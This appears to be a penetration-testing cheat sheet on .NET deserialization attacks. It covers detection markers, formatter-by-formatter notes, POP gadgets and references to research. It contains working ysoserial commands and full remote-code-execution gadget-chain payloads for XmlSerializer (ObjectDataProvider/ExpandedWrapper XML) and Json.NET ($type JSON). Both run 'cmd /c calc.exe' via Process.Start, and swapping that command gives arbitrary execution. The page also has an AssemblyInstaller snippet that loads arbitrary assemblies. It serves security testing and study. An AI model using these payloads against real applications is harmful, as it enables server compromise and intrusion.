.NET Serialization
Summary
Detection
AAEAAD
(Hex) = .NET deserialization BinaryFormatterFF01
(Hex) //w
(Base64) = .NET ViewState
Example: AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=
Tools
Formatters
.NET Native Formatters from pwntester/attacking-net-serialization
XmlSerializer
- In C# source code, look for
XmlSerializer(typeof(<TYPE>));
. - The attacker must control the type of the XmlSerializer.
- Payload output: XML
.\ysoserial.exe -g ObjectDataProvider -f XmlSerializer -c "calc.exe"
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc.exe</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
DataContractSerializer
The DataContractSerializer deserializes in a loosely coupled way. It never reads common language runtime (CLR) type and assembly names from the incoming data. The security model for the XmlSerializer is similar to that of the DataContractSerializer, and differs mostly in details. For example, the XmlIncludeAttribute attribute is used for type inclusion instead of the KnownTypeAttribute attribute.
- In C# source code, look for
DataContractSerializer(typeof(<TYPE>))
. - Payload output: XML
- Data Type must be user-controlled to be exploitable
NetDataContractSerializer
It extends the
System.Runtime.Serialization.XmlObjectSerializer
class and is capable of serializing any type annotated with serializable attribute asBinaryFormatter
.
- In C# source code, look for
NetDataContractSerializer().ReadObject()
. - Payload output: XML
LosFormatter
- Use
BinaryFormatter
internally.
JSON.NET
- In C# source code, look for
JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings
. - Payload output: JSON
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc.exe" -t
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
BinaryFormatter
The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they're processing to be trustworthy. BinaryFormatter is insecure and can’t be made secure.
- In C# source code, look for
System.Runtime.Serialization.Binary.BinaryFormatter
. - Exploitation requires
[Serializable]
orISerializable
interface. - Payload output: Binary
POP Gadgets
These gadgets must have the following properties: * Serializable * Public/settable variables * Magic "functions": Get/Set, OnSerialisation, Constructors/Destructors
You must carefully select your gadgets for a targeted formatter.
List of popular gadgets used in common payloads.
* ObjectDataProvider from C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll
* Use MethodParameters
to set arbitrary parameters
* Use MethodName
to call an arbitrary function
* ExpandedWrapper
* Specify the object types
of the objects that are encapsulated
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
// System.Configuration.Install.AssemblyInstaller
public void set_Path(string value){
if (value == null){
this.assembly = null;
}
this.assembly = Assembly.LoadFrom(value);
}
References
- Attacking .NET Serialization - Alvaro - October 20, 2017
- Attacking .NET Deserialization - Alvaro Muñoz - 28 avr. 2018
- Friday the 13th: JSON Attacks - Alvaro Muñoz (@pwntester) Oleksandr Mirosh - Slides
- Friday the 13th: JSON Attacks - Alvaro Muñoz (@pwntester) Oleksandr Mirosh - White Paper
- Friday the 13th: JSON Attacks - Alvaro Muñoz (@pwntester) Oleksandr Mirosh - DEF CON 25 Conference
- ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - James Forshaw - Slides
- ARE YOU MY TYPE? Breaking .NET sandboxes through Serialization - James Forshaw - White Paper
- Now You Serial, Now You Don't - Systematically Hunting for Deserialization Exploits - ALYSSA RAHMANDEC
- Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili (@irsdl) - 04/2019
- Bypassing .NET Serialization Binders - Markus Wulftange - June 28, 2022
- Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) - hacktricks
- Sitecore Experience Platform Pre-Auth RCE - CVE-2021-42237 - Nov 2, 2021 - Shubham Shah
- Finding a New DataContractSerializer RCE Gadget Chain - November 7, 2019 - dugisec